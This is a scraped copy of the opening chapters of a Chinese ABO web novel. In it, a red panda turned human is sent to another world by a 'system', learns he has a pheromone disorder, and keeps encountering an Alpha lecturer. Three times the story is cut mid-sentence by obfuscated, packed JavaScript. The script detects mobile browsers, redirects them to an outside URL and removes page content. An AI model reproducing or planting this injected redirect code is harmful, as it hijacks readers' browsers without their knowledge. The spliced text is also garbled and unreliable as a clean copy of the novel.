《Omega少年是只小熊猫》 1. 被什么东西挠了一下 覃阮穿越了。 一个自来熟系统把他从地球带到个ABO世界。 原因很莫名其妙。 系统说他是被主脑挑中的幸运儿,只要在这个世界找到主脑遗落的核心并拿到手,就实现他一个愿望,并将他安稳送回原来的世界。 覃阮还有个秘密,他不是人类,是只变成人的小熊猫。这才没变成人类几年,终于适应人形,欣然去读书准备考大学,可就在他人类年龄正好成年那天,他穿了。 他认为这事并不幸运,原本日子过得好好的,完全不需要这个机会,于是覃阮十分礼貌拒绝了主脑的好意。 然系统循循善诱:“难道你不想一夜暴富?不想以后不再努力?” 覃阮:“不想。” “名牌大学和一千万你选哪个?” “大学。” 系统:“。” 好实诚一孩子。 系统调出覃阮的背景资料,一目十行后恍然:“嗷——你是只小熊猫呀。” 覃阮顿时警惕。 系统贱兮兮说:“在人类社会,小熊猫是不能上大学的。” 覃阮一听顿时不乐意:“你不说没人会知道。” “你接下任务我就不说。” “……” 新手怎么可能玩得过老油条,覃阮这任务是不得不接。 今天是他接手任务第十天,覃阮人在画室,课上一半,双手无端变回肉爪,手里捏的才削好的炭笔摔了一地。 他心寒的看着成果报废一地,松了松衣袖挡住爪垫,起身去找老师请假。 “……系统。” 来到这层楼道最静谧的角落,覃阮背靠墙,低头看看衣袖里黑色绒毛爪子:“这是我第四次变回爪子摔断炭笔,那盒炭笔二十块,运费八块。” 可以买好几斤苹果了。 系统长叹息:【我等级不高,暂时无法查出你的双手频繁变回本体的原因。】 “那怎么办?”覃阮盯着自己的爪,爪垫开花,又捏拢,虽然绒毛是黑色,但很干净很细腻,藏在绒毛里的肉垫是淡淡的肉粉色。 “再这样摔下去我会破产的。”覃阮眨下眼睛,平静的双眼中透着点茫然,“我好像有点惨。” 系统静了几秒,无情的说,【事实上,你目前现金和数字人民币加起来一共1057.29。不多,很少,是很惨。】 覃阮:“……” 【咳,】系统还是提醒,【这个月才月初,宿主你得节省着点花。】 “专业课要买的工具太贵。”覃阮认真思忖,“我应该做个开销规划。” 【大概是没用的,据我所知,人类这种生物经常给自己做假账。】系统怜悯他,【虽然你不是人类,但性质差不多。】 系统给他在这个世界安排了个大学生身份,专业美术类。 艰难学会人类语言文字的覃阮连社交礼仪都还没摸清,忽然就是名大学生,学的还是很考验技术的专业,这对他来说实在太难。 好不容易把握削笔窍门,却突发意外,他的手时常无故变回爪垫,这给他带来不少麻烦。 小熊猫的爪子握不稳细长的炭笔,两盒二十四支炭笔被他摔得一支不剩。 这令覃阮很郁闷。 而且,他不能让任何人知道他不是人类。 那样很危险。 【或许你该去医院检查身体。】系统提醒他,【亲爱的宿主,你在这个世界的性别是男性Omega,已经分化完全,生理知识我给你科普过,不过最好还是去检查一下。】 覃阮眨下眼:“你的意思是,我人形不稳定和我是Omega有关?” 【不一定,我只是建议。】系统说,【ABO世界里,信息素是一个挺麻烦的东西,说不定就和你时不时变回本体有关。】 覃阮表情空白几秒:“我要去医院,该怎么做?” 【先挂号。】 “怎么挂号?” 【……】 系统无奈,耐心指导他的宿主如何进行网上挂号,然后指引其出校打车前往医院。 【记得等会儿要礼貌,见到医生先问好。】系统像个老父亲。 “知道了。”覃阮看着手机屏幕上显示的挂号信息,来到三楼Omega腺体检查科室,将手机递给窗口里的护士:“你好,我来做检查。” 里面的护士闻声抬头,看见个漂亮少年站在窗口外,愣了下:“小朋友你来做腺体检查?大人呢?没陪你来?” 覃阮拿出系统给他的搪塞理由:“他们很忙。” “这样啊。”护士露出温和惋惜的表情,视线在他身上流连,娴熟地在键盘上敲几下,“去里面二号检查室找李医生。” 覃阮点头:“谢谢姐姐。” 【做得好,她看你目光充满了慈爱。】系统恰时出声,【再接再厉覃阮小朋友。】 覃阮修正系统的话:“我不是小朋友。” 他是已到成熟期的小熊猫,也是成年人类,他的净身高有一米七五,在人类男性中算正常,在ABO世界的男性Omega群体中也不算矮。哪里看着像小朋友? 来到二号检查室外,轻轻敲门,里面叫进才推门进去。覃阮关好门后转身,踱步来到李医生的办公桌前。 李医生是一位慈眉善目的女性Beta,她看着电脑屏幕上的信息:“覃阮,十八岁。腺体不舒服?” 覃阮:“我想检查腺体。” 医生抬头看他:“乖乖,你才成年,大人呢?” “他们没时间来。” 李医生沉默一瞬,又问:“具体哪里不舒服?” “状态……不稳定。”覃阮组织措辞,“感觉身体怪怪的。” 不能明讲,所以覃阮只能给个模棱两可的说法,他为此感到抱歉。 “我先给你做基础检查。”李医生给他开单,并安慰,“很多你这个年纪的Omega会有信息素不稳定的情况,大多因为坏情绪和压力,调理一下就好,别担心。” 覃阮点头:“嗯,谢谢姐姐。” 被这声姐姐哄开心的李医生给他开好单,指向旁边检查室:“去那边的仪器上躺着。” 覃阮乖乖上仪器上躺好。医生过来给他做了基础检查,而后又回到办公桌电脑前。 很快出结果,覃阮发现李医生的眉毛皱了起来。 【系统。】覃阮在脑子里呼唤,【我好像真的有病。】 系统安慰他:【放宽心,这里医疗技术很好,会没事的。】 可他没那么多钱。覃阮缄口不言,无意识的捏了捏指尖,有点郁闷。 “乖乖你过来。”李医生呼唤他,将手里的检查报告单放在桌上,“你的信息素积在腺体里了,得再给你做深层次检查。” 覃阮得到那份报告,低头看:“…信息素积留?” 【应该是信息素分泌过多。】系统对他说,【具体情况等检查结果吧。】 覃阮心情闷闷的,谁知深度检查还不是个轻松事。 很疼,疼得覃阮下嘴唇都咬破皮,不过他硬是一声不吭的忍到了结束。 李医生拿到新一份报告,看完放下,“小朋友,你得让你家里人来一趟。” 系统:【哦豁,看来很严重。】 覃阮摇头:“他们暂时来不了。” “你的信息素积太多,得人为干预。”医生将报告递给他,“这样,你先将这份报告给你家里人看看,后续治疗得抓紧,不能耽误。” “要怎么治疗?”覃阮问,“会花很多钱吗?” “Omega的腺体治疗有国家补助,费用方面你不用担心,只是治疗过程需要你的家人在场。”李医生在键盘上敲敲打打,继续说:“治疗方法有三种,最传统方式的是找位Alpha,让(他/她)帮助你,这也是效果最好的一种。” “然后就是医疗手段,像我刚才那样用穿刺腺体的方式一针针为你将多余的信息素抽取出来,配合药物治疗半月为一疗程,你这情况大概要持续治疗半年。” “至于第三种……”李医生抬头看他,“是保守治疗,花费时间更长,但效果比第二种温和。你自愿提供信息素给信息素实验科室,他们会免费为你提出多余的信息素,但你的信息素会被广泛应用于医疗研究各个领域。这种情况,你就是信息素提供志愿者。” 覃阮眼睛明亮:“我做志愿者。” 系统欲言又止。 李医生亦是欲言又止,还是说了:“小朋友,我得提醒你,很多omega不愿意做志愿者,你真要选第三种?” 覃阮点头:“嗯。” 系统止言又欲:【宿主……】 “这事你还是回去和家里人商量一下,”李医生给他开药,抬头,“刚才的深度检查算一次治疗,我给你开点药先吃着。记住半月一个疗程,半月之后要再来医院。” 覃阮只好先点头,道了谢后离开科室。前往捡药房的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702533|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间隙,系统开口了。 【宿主,你真要选第三个办法?】 覃阮:“我没钱,而且第二种好疼。” 他想起刚才的腺体穿刺检查还后怕,疼得他浑身冒冷汗。 【不是还有第一种?】系统提醒。 覃阮沉默,摇头。 第一个最难。 他连人类的社交都还没明白透,让他去找个配偶,这太不切实际。 系统不劝了,还是向他解释,【你的信息素提供给实验室后,可能会用到各个领域,比如拿你的信息素去治疗有病的Alpha,也可能用你的信息素去研究新的阻隔剂或安抚剂,你不在乎?】 覃阮还是摇头。治疗谁都和他无关,他只负责提供信息素,又不会和接受他信息素治疗的人有什么牵扯。 覃阮边走边说:“反正任务完成我会回到原来的世界。” 这里的一切都和他无关。 系统无言反驳,只好不再说话。 覃阮摸了摸脖子上缠绕的一圈绷带,这是用以固定那块面积很大的信息素阻隔贴的,但即便这样,他还是能在消毒水气味中嗅到一丝蜂蜜的味道。 刚才他问李医生,对方说那是他的信息素。 覃阮谨记医嘱,准备去买支阻隔喷雾,在三楼绕来绕去没找到自助贩卖机,听了系统的话,穿过天桥来到另一栋楼,转个弯一头撞在来人身上。 他踩着人脚了。 覃阮后撤两步,颔首道歉:“对不起。” 他看着那双被他踩上个脚印、一眼很贵的皮鞋,心凉了大截,抬头发现面前的男人正看着他。 那是双狭长的眼眸,深黑的双眼中不见一点光彩。瞬息间,覃阮感受到有股无形的威压笼罩在他周身,像极了藤蔓将他的身体缠绕起来,连喘气似乎都给他紧紧桎梏住。 覃阮的后颈发胀发烫,他忍不住伸手想去抓腺体,目光注意到男人脸上戴的奇怪面具。 说面具也不对,是一个……关着嘴巴的笼子? 【那是止咬器。】系统提醒他,【宿主,这里是Alpha检查科室,我们走错地方了。】 “……”覃阮表情怔忪,张了张嘴却一个音都发不出,身前的男人直接绕过他大步离开。他这才豁然从紧绷的状态中抽离,慕地发现,在男人身后还跟着一个“大部队”,西装耳麦,看起来像保镖。 覃阮挪挪脚往靠边站,等人全部走光了才收回目光,沉静半晌才问:“系统,那是Alpha吗?” 系统:【止咬器都戴上了,是Alpha没错。】 覃阮回想刚才那Alpha冷漠威严的表情,抿紧唇。 Alpha好可怕,他刚才好像要喘不过气了。 而且,喜怒不形于色的人类好难懂,覃阮不擅长理解人类情绪,刚才那位Alpha先生生气了吗?好像有点,但好像也没有。 覃阮捻捻指尖,慢悠悠的“唔”了声。 系统问他怎么了。 “我把陌生人的鞋踩脏了。”覃阮说。 系统:【但陌生人没和你计较。】 覃阮:“是的。” 可他还是觉得很抱歉。 空气中残余着点幽香气息,覃阮后知后觉,他抬头嗅了嗅:“有奇怪的味道。” 他又碰了碰后颈那有些发烫的腺体,被系统出声制止,于是收回手,沿路返回。 不多时,刚才离开的大部队又折返回来,为首的顾砚庭回到Alpha检查科室,捡起落在仪器旁边的一只不足他掌心大小的玩偶。 是一只小熊猫玩偶,挂在钥匙扣上。玩偶尾巴有身躯一半大,四只黑爪子紧紧的抱着尾巴,脸上是笑嘻嘻的表情。 这是他祖母叮嘱他时刻带在身上的东西,里面放着张平安福。 顾砚庭拿上玩偶,离开科室,再经过刚才被人踩一脚的地方,恍惚感应到空气中淡淡的气息。 像蜂蜜,又有点像花香,很淡一缕,随着风即刻散去。 他没什么表情,指腹轻轻摩挲手中的玩偶,大步离去。 同一时间,身处Omega科室自动贩卖机前的覃阮才刚拿到阻隔剂,忽然掌心发热。 他反应过来,立即用另只手接住阻隔剂,将那只状态异样的手藏回衣袖里垂在身侧。 衣袖内,黑色绒毛爪子缓慢捏合,覃阮低头站在贩卖机前一动不动。 心口跟痒意蔓延的掌心一样,像被什么温热的东西蹭了下。 2. 你的信息素很好闻 等待掌心的痒意散去,覃阮捏拢爪子,花了些时间才变回来,有些茫然的回忆那番感受,低声嗫嚅:“奇怪。” 系统:【什么?】 “……”覃阮盯着自己的手看,终于是回过味来:“有东西摸我。” 【…………】 系统通过覃阮的视角看看周围,根本没见任何人靠近,他咂摸片刻,以为覃阮因为生病的事开始说胡话了,于是安慰:【别想太多宿主,病总能治好,再说你完成任务就可以回去,这里的病自然也会消失,不要胡思乱想。】 “是真的。”覃阮抬头看着面前的贩卖机,似有所感,偏头瞧向左边天桥对面,那边空荡荡的什么都没有。 “系统,有东西在摸我的手。”覃阮还是这样说,“前几次可能也是,手变回去前会有很痒的感觉。” 他安静了几秒,问:“是不是有鬼啊?” 【这……】系统轻咳,严肃道,【系统是坚定的唯物主义者,不相信鬼神的存在!】 覃阮:“什么是坚定的唯物主义者?” 小熊猫总有很多疑问,饶是系统有足够的耐心,也时常抵不住他旺盛的好奇心,所以系统偶尔耍小心思,疏于解释。 【总而言之,宿主你只要相信这个世界上没有鬼就行了。】系统,【你反馈给我的情况我会上报给主脑,得到结果后会第一时间告诉你。】 覃阮揣着气味阻隔剂往医院外走:“那你又要离开吗?” 他前几天就发现,系统会忽然消失,消失就是一两天,覃阮经常呼唤不得回应。这让初来乍到的他唯一可获取信息的方式变得不稳定,覃阮为此很没安全感。 好在他在这个世界没有家庭,少了许多人际交往,无需分开心思去经营。 覃阮有父母,在他的世界,他的父母也是小熊猫成人。只是他的父母没怎么管他,一年半载见不到几面,所以他原本就没经历过什么人类间的亲情。 绕是这样,他也并不希望在这个世界有个新的家,他一个人就挺好。 系统给覃阮安排的身份是孤儿,目前生活费来源国家每月发放的一千五补贴。因为他分化成omega,国家还额外补贴学业费用,减轻了他不少压力。 这样的身份执行任务很方便,但即便这样,覃阮还是有太多不懂,系统不在他身边,他的不安全感会无限放大。 “医生说要大人在场才能治疗,我在这个世界没有大人。”覃阮微仰着头看天,目光倒是平静,“你走了,我怎么办?” 系统安抚他,【宿主请放心,我会很快回来,我们有每月申请人形的机会,到时候我陪你去。】 覃阮‘哦’了一声,不再说话。 骗子。 上次消失说很快回来,结果两天后才出现。 “你叫什么名字?”覃阮问。 “我们没有名字。”系统笑一笑,在覃阮的脑意识里形成个模糊的字符笑脸,“宿主可以称呼我的编号,014。” 覃阮点点头:“早去早回,014。” 014:【一定,宿主再见~】 脑海里没了声音,覃阮也不再啃声,抱着买来的药和阻隔剂返回学校。 下午还有两节选修课,覃阮穿来那天正是选课结束当天,很多课程都已经选满,他只能挑后面剩下的。 不过他还挺喜欢他选的这门课——动物行为学。 看名字明明是挺有趣的课,为什么没人选? 覃阮不太明白,但据系统透析,这门课的开课人数原本没达标,他选了课后刚好到开课标准。 到教室时尚且还早,他找靠窗的前排坐下,手里没书,于是偏着脑袋望窗外。 有风,阳光穿过树叶落在他脸上和手臂上,影影绰绰。 直到快上课,覃阮收回目光看看教室,下意识在脑海里说:【人好少。】 系统慢悠悠的开口:【要么这堂课很难,要么这堂课的老师不好应付。】 覃阮沉默,问:【你不是走了吗?】 【向主脑递交的返回申请还没通过。】 【哦……】覃阮视线动了动,回到刚才的话题:【为什么要那样说?】 【选课的人少,无非就是被万人排除在外的避雷课程。】系统宽慰他,【不过宿主放宽心,我相信你肯定能好好完成这门课。】 覃阮:“……” 他沉吟须臾,说:“我的任务只是找到核心,拿到手我就会回去。” 覃阮的确想上学,但不是在这个世界。 他想回去。 · “我是真没想到竟然能达到开课标准!以前都没这意外的!” 电话那头的声音充斥着不可思议,以及死皮赖脸胡搅蛮缠的笑意:“我这不是在国外暂时没法回去,庭哥你就先帮我上一段时间。我向校方报备了,那头说没问题。” 顾砚庭没什么表情:“什么时候回来?” “最快一个月。”那边说,“最慢……可能得半年。” 顾砚庭:“最多给你代半学期。” 对方见好就收:“行行行!谢谢庭哥!” 说着回过味:“我听说你也最近才回国,公司和工作室那边忙吗?给我代课不会耽误你太多时间?” “那你去找别人。” “别!我就只能找你了。”电话那头的声音顿时命苦起来,“也就咱俩在国外进修过这门课,我真找不到其他人帮忙。” 然后又间歇性关怀:“对了,你那病没问题吧?” 顾砚庭停在012号大教室门外,抬眼看了眼门牌号。 “到教室了,挂了。”他没回答对方的问题,也没等对方再说话,挂断电话进入教室,刚好踩着上课铃响。 教室里的学生少得一眼能数清楚,顾砚庭将手里的教案放在讲台桌上,简单自我介绍后直接进入课程。 一句废话没有,言简意赅到全班顿时没人敢吭声。 这门选修课单学期要学的东西只有学科基础,教师自身储备量和课件完备就足够,无需要求学生购买教材。 有人进入状态跟上讲师节奏,有人在小声讲话。可能是讲师压迫感实在太强,说小话的人很快就自己禁言了。 覃阮记笔记,抬眼往前面瞧,碰巧对上讲师的视线。 他僵了几秒,默默低头,忙碌的在自己的笔记本上写写画画,再抬眼时候,讲师的目光已经挪开。 心跳快了点。 奇怪。 覃阮定格几秒,大着胆观察起那位讲师。 很高,一眼能分辨出是位Alpha。并且,这位讲师和覃阮最近几天见到的人很不一样。 形形色色的人类覃阮见得多,来到这个世界也勉强能用014教他的方法分辨AO,可用眼睛肯定不能完全确定。 但这位讲师光看外型就给人气场很强的感觉。 这难道就是系统讲的,能让omega腿软的猛A? 覃阮想着又瞧一眼讲师的脸。 黑短发,高眉骨挺鼻梁,是上扬眉下垂眼,不知道用人类的审美判断是怎么样,覃阮倒是觉得很好看。 但…… 猛不猛他不知道,反正看着挺凶… 不过,这张脸好像有点眼熟? 覃阮想了想,没想起来,于是在心里呼唤:【系统,我在哪里见过这位讲师吗?】 没有回应,系统溜了。 他只得放弃询问系统,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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覃阮定睛看,确定那是只小熊猫挂件,而来人正是顾讲师。 事到如今,不打招呼就有点不礼貌了,他张张嘴,斟酌几秒:“学长好。” 顾砚庭看他一眼,收回目光:“嗯。” 覃阮不再啃声,又瞄了眼对方手里的玩偶。 光看表面看不出玩偶脏了,但学长很仔细用湿纸巾擦拭,每个缝隙都没放过。 兴许是因为遇见个和自己本体一样的玩偶,觉得稀奇,覃阮没忍住多看了几眼。 他看见学长的手指在玩偶身上揉擦,细长又骨节分明的手将玩偶整个握住,指腹捻按爪垫,往缝隙里揉。 覃阮思绪停滞。 他的掌心滑过一缕热意,瞬息而过。 覃阮:? 他缓慢的眨下眼,低头看看自己的手心,双目茫然。那瞬奇怪的感触没再来了,覃阮捏拢指尖,再抬头时发现旁边的人已经在给玩偶烘干。 干手器发出“嗡嗡”响,覃阮有些出神,鼻息被迎风而来的淡香缠绕,把他的神志给扑迷糊。 他轻轻耸动鼻尖,确定空气中有香味。 距离近,好像正是来自顾学长,是一缕很清澈的气息。 像苹果的味道。 是信息素吗? 覃阮想起014向他科普的ABO知识,猜测大概是的。 原来还有苹果味的信息素。 那也太幸福了。 覃阮很喜欢苹果。 他嘴唇动了动,思忖着在ABO世界里,夸赞他人信息素好闻应该是一件寻常礼貌的事,或许他们交友时就会说到这个话题。 老实说,他有点怕顾学长,但他总得跨过交际这一大难关,现在就有个机会。 于是他捏紧指尖,豁出去了。 “学长。”覃阮微微侧身面向对方,目光十分真诚:“你的信息素很好闻,是苹果味吗?” 再于是,覃阮看见这位神情寡淡的学长蹙了下眉,脸上浮现出一抹难明的意味。 3. 奇怪的玩偶 恰巧上课铃响,覃阮没得到学长的回答,也没探究出那表情是什么意思。 只见对方收起玩偶,留下句:“下次别随便问陌生人这种问题。”就走了。 覃阮茫然,跟在对方后面回了教室。 课程继续,覃阮捏着笔,发呆望着讲台上的Alpha,想一节课没想明白。 难道那不是学长的信息素? 或者…他的话问得不对? 总不能……在ABO世界里,问信息素的味道不是件寻常事吧?难道那是隐私? 如果真是这样,那就很糟糕了。 覃阮咂一下嘴,捏着笔在本子上戳戳戳。 …… “好好好我知道你现在状态稳定不会泄露信息素,你最有素质!” 穿白大褂的医生在办公室里来回踱步,“可你大爹让我监督你!要是让他知道你去代课还有被学生闻到信息素的嫌疑!我耍八百个心眼子都解释不了!!” “不需要向他解释。”倚着办工桌的顾砚庭视线低垂,手里把玩那只嬉皮笑脸的小熊猫玩偶,等那头唾沫星子横飞的秦医生歇气,这才大手整个捏住玩偶揣回兜里,抬头,“这周末去工作室,把你的时间空出来。” 秦一祝停下来看着他:“哥们儿,我刚才说那些你听了吗?” 顾砚庭懒散地掀了下眼皮。 “你真是……”秦一祝扶额苦笑,“周六日有空,怎么,工作室来单了?上一单不是还没结工?” “先去看看。”顾砚庭,“未必会接。” “你这人。”秦一祝发过牢骚,这会儿倒是平心静气不少,手指闲不下来去掐旁边的绿植,“要管公司,要去工作室,还有闲暇给黎明那家伙代课,陀螺都没你能转。” 秦一祝自个说乐了,“你还生着病,稳定也都是一时的,别这么整自己好吗?” 说着又一顿,扯回刚才那个问题,“嘿,我是相信你不会泄露信息素,顾叔可就不一定,他要是知道了怎么办?” “别理他。”顾砚庭扫了眼窗外灰暗的天,揣在兜里的手缓慢捻着里面的玩偶,似乎还不过瘾,稍稍用了些力气,未曾想感受到紧致的玩偶松动了些。他视线顿了下,将玩偶又拿出来,食指勾着钥匙扣将其悬在眼前。 之前还是四只爪子抱着那根硕大尾巴的小熊猫,此时尾巴从爪子里松出来垂着。 顾砚庭:“。” 他盯着那条尾巴看了须臾,视线上移,目光停在玩偶笑嘻嘻的脸上。 原来尾巴没和爪子缝在一起。 他伸出另只手,面无表情地捏了下玩偶的尾巴尖。 …… 覃阮跪坐在床中央,身后堆积着被掀开的被褥,他头发蓬松凌乱,身上穿着件单薄的衬衫,整体状态看起来相当潦草。 衬衫是他的睡衣,除此之外就穿了条平角内.裤,但此刻裤子岌岌可危的挂着大腿上,是被深夜里忽然炸出来的尾巴挤下去的。 覃阮双手抓紧从后面捞过来的尾巴,可它仍十分倔的在晃,被手桎梏住,就只晃冒出来那点尾巴尖。 看起来很兴奋。 可覃阮不太懂,他并不兴奋,只有睡眠被扰的烦心。 “干嘛啊……”覃阮捏捏尾巴,那股奇怪的痒意还没散去,酥酥麻麻的,从根部蔓延开,激得他背脊颤栗。 他所在宿舍是这层楼最后一间,就住他一个人,夜深人静时,尾巴被空气摸可不是什么好笑的事。 覃阮盯着被月光照亮一隅的宿舍地板,滑了下喉头,憋闷着情绪拉起身后的被褥盖在头上,也不管兴奋的尾巴了,一起裹进被褥里盖得严严实实。 014是骗子。 这个世界真的有鬼…… 覃阮和尾巴在不大的床上挤了一晚上,第二天清晨被闹钟叫醒后,他撑起身体,顶着一头蓬松凌乱的头发发呆,然后低头看着贴紧大腿的尾巴。 这会儿倒是很冷静。 他郁闷地哼了声,翻身下床去洗漱。 本体收回去得花些时间,覃阮只能拖着尾巴去阳台刷牙洗脸,然后趿拉着拖鞋回到宿舍,站在衣柜前找了套衣服,这才又扭头看一眼挂在身后晃来晃去的尾巴。 根部隐没在白衬衫里,看不真切,尾巴尖缓慢的弯起来些,不出片刻,消失不见了。 他这才利索换上衣服裤子。 覃阮的日常穿搭是卫衣牛仔裤,上午的课是石膏素描,不能穿浅色,灰色卫衣就很合适。 因为等待尾巴收起,覃阮出门时已经挺晚,他推门出宿舍,隔壁正巧出来个和他一样晚的人。 覃阮朝那边看去,和背着折叠画架的粉头发Omega对上视线。他记得这个人,是他们班上的学生。 回忆的间隙,对方朝他这边侧过身,弯起双眼:“是覃阮吗?你也起晚了?” 覃阮被对方明媚的笑晃了下眼,愣愣的点头。 这个男生好漂亮。 覃阮想到了草莓蛋糕。 男生歪了下脑袋:“我叫顾霄,开学班会课上有过自我介绍哦。” 覃阮点头:“你好。” “时间紧迫,得快点去专业楼了。”顾霄看看手机,捞了捞挂在肩膀上的画架,朝覃阮抬抬下巴:“一起?” 覃阮沉默几秒,追过去与其并肩,从挎包里拿出个脏脏包递给对方:“给你。” 顾霄也不客气,空出只手接住脏脏包:“谢啦。” 宿舍到专业楼的距离很远,这也注定两人不能准点赶上,但下楼后,覃阮手里接到顾霄塞来的画架,然后看见对方去宿舍楼旁边推了辆粉色电瓶车出来。 顾霄穿的短裤,他跨坐在电瓶车上,朝覃阮招手:“来呀,我载你过去。” 于是覃阮抱着画架坐上顾霄的后座,迎着清晨的凉风,恰好准点赶到画室。 两人到教室后,专业老师就后他们一步进来。顾霄双手抱着画架朝覃阮wink一下。覃阮歪了歪脑袋,露出这天第一个笑容。 然后各回各位,这才发现自己就剩一堆断芯炭笔的覃阮又瞬间垮下脸。 恰巧路过他位置的顾霄也看见那堆炭笔,回想起昨天画室里突如其来的动静,瞬间了然。 覃阮正苦恼,旁边伸过来一只手,递给他盒炭笔。 抬眼看正是笑眯眯的顾霄。 “用我的。”顾霄站在他的全开画板旁边,笑得很好看。 覃阮双手接过那盒炭笔:“谢谢,我买了还给你。” “不用不用。”顾霄挥挥手,“这是你送我脏脏包的谢礼~” “要还的。”覃阮知道这个牌子,价格可不便宜,他的脏脏包才两块钱一个。 安静片刻又问,“你的笔够用吗?” “够的,”顾霄也不劝覃阮,“你放心用吧。” 覃阮这才点头,又说了谢谢。 顾霄人没走,笑着看他,而后单手托脸:“覃阮,你好可爱啊。” 覃阮抬头:“嗯?” “看着呆呆的。”顾霄还是笑,“我喜欢可爱的人,以后咱俩就是朋友了呗?” 朋友…… 覃阮恍惚两秒,赶紧“嗯”了一声,生怕这次成功的交际没了。 他想,其实顾霄才可爱,又漂亮。 教室很静,学生以中央摆放的各类石膏体为参照物进行写生。 覃阮花了点时间削好笔,终于开始在身前那张全开画纸上捣鼓。 见别人站起来观察画面,他也站,只不过他不是看自己那张光溜溜的纸,而是在偷摸学别人的画法。 课后学生走光他才放下笔,在凳子上坐着休息,然后又起身去看其他学生的画。 围着教室走半圈,发现躺在教室另一边角落摇椅上的顾霄,见对方揉着肚子,覃阮过去蹲在旁边:“你怎么了?” “饿了。”顾霄笑,站起来活动双腿,穿过教室去到覃阮的位置看一眼,疑惑:“你怎么还没起形?” 覃阮在看顾霄那张已经半成的画:“我画很慢。” 顾霄倒也没怀疑,站在覃阮的画板前瞧了瞧中央的石膏:“你这个角度好刁钻,要不坐我这边来?” 覃阮想了想,摇头:“我先试试。” “那我旁边的位置随时为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702535|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你敞开~”顾霄说着拿出手机看了眼,目光猛震。 覃阮回到自己位置,发现顾霄眉毛缠成一团:“你怎么了?” 顾霄抬头,欲言又止,收了手机:“没什么,你中午吃什么?” “食堂。” “我和你一起。”顾霄回去自己位置拿挎包。 覃阮收拾东西,看了眼那盒很贵的炭笔,记下牌子,去网上搜。 运费十二块。 覃阮:“……” 顾霄过来正巧瞄到他的手机屏幕,“啊”了一声:“别去网上买,要运费不划算。” 覃阮抿了下唇。 “我那些不是买的。”顾霄看透他的心思,“是从我哥的工作室拿的,我没花钱,真送你啦,不用还。” 前阮还是摇头:“要还的,而且我也得买一些备用。” “真别去网上买。”顾霄想了想,说:“下午有空吗?跟我一起去我哥那采购吧,他的工作室旁边有一家老画材店,价格亲民,我经常去。” 覃阮眼睛亮了亮:“好啊。” 这时候顾霄的手机又响了,他拿起来看一眼,蹙眉又松开,对覃阮说:“我哥这会儿来接我,要不你现在和我一起过去,我们去那边吃饭?” 覃阮稀里糊涂的就应了声,谁知顾霄倒是笑了:“你也不怀疑我是不是坏人,下次有人这样邀请你多一个心眼呀覃阮同学。” 覃阮这才后知后觉,系统之前教过他,不能这么草率跟人走。他安静几秒,问:“你是坏人吗?” “你好呆哦。”顾霄挽起他的手,朝他眨眼,“我是,把你抓去卖了!” 覃阮直觉这是假话,并且在见到来接顾霄的人后印证了他的猜想是正确的。 “哥!” 才到中门外,顾霄就朝远处一辆车挥手。覃阮顺着对方的视线看去,瞧见个眼熟的人。 顾砚庭坐在车上没下来,车窗开着,听闻了呼唤声转过头,看着一头粉毛蹦蹦跶跶就过来了,旁边还跟着个人。 顾霄拉着覃阮上前,站在中间给两人介绍:“哥,这是我同学覃阮,他和我一起去。” 又看向覃阮:“覃阮,这我哥顾砚庭。” 覃阮愣愣的看着车里的人。 上扬眉下垂眼,有点凶,是顾学长。 他没来由缩了下脖子,礼貌打招呼:“学长好。” 顾砚庭“嗯”了声,偏回头看着前面:“上车。” 顾霄闻言倒是一愣,看看他哥再看看覃阮,自己给自己想清楚了:“嗯,我哥以前的确是在这个学校读的大学。” 以前? 覃阮疑惑。 没等他多想,顾霄便打开了后座的车门,将他推进去,自己也跟着坐在后面,关上门后扒拉前座:“哥,我小爸生气了吗?” 顾砚庭:“去问你大爸。” 顾霄拉长声音苦恼地“啊”了声,抓了抓头发:“我不敢啊,你帮我去求求情呗,不然我就去找燕叔叔。” “你去。” “好的我不敢。” 车启动行驶,覃阮看着窗外倒退的城市建筑,不太好去参与或细听对方家里的事。 脑袋偏久了不舒服,于是收回目光,碰巧扫过前面的后视镜,从中又看见那双很好看,但是真的有点凶的眼睛。 覃阮即刻挪开目光,心里打鼓,误打误撞注意到学长车钥匙上那只小熊猫玩偶。 是一个笑笑脸。 玩偶:>v 覃阮:O_O 玩偶:>v 覃阮:…… 怎么觉得…这个玩偶,有点奇怪? 覃阮缓慢的蹙起眉,实在说不上来是哪里奇怪,慢悠悠的将视线抬起,恰好是红灯停车间隙,他下意识去看前面路口的红灯,不免又扫到车内后视镜。 这回,和正好也扫了眼后视镜的顾砚庭对上了视线。 覃阮:!! 他立刻心虚的挪开眼,放在膝盖上的双手不停地互相捏指尖。 渐渐的,覃阮悟出这心虚的来头。 他应该是…有点怕这位学长。 4. 假性发情 工作室位于市中心,距大学城半小时车程。 覃阮晕车,不能在车上看手机,他很佩服身旁能一直刷手机的顾霄。而他即便只坐着也晕,不自觉就攥紧挎包肩带,偶尔屏息。 其实车内无异味,顾学长车技也很稳,但覃阮就是晕。 终于忍到目的地,顾霄放下手机伸个懒腰,看向覃阮:“到了,我们下车吧。” 又蓦地发现覃阮脸色不太对,手背去碰了碰他的脸:“你怎么了?” 覃阮憋着一口气,弱弱的笑了下:“没事。” 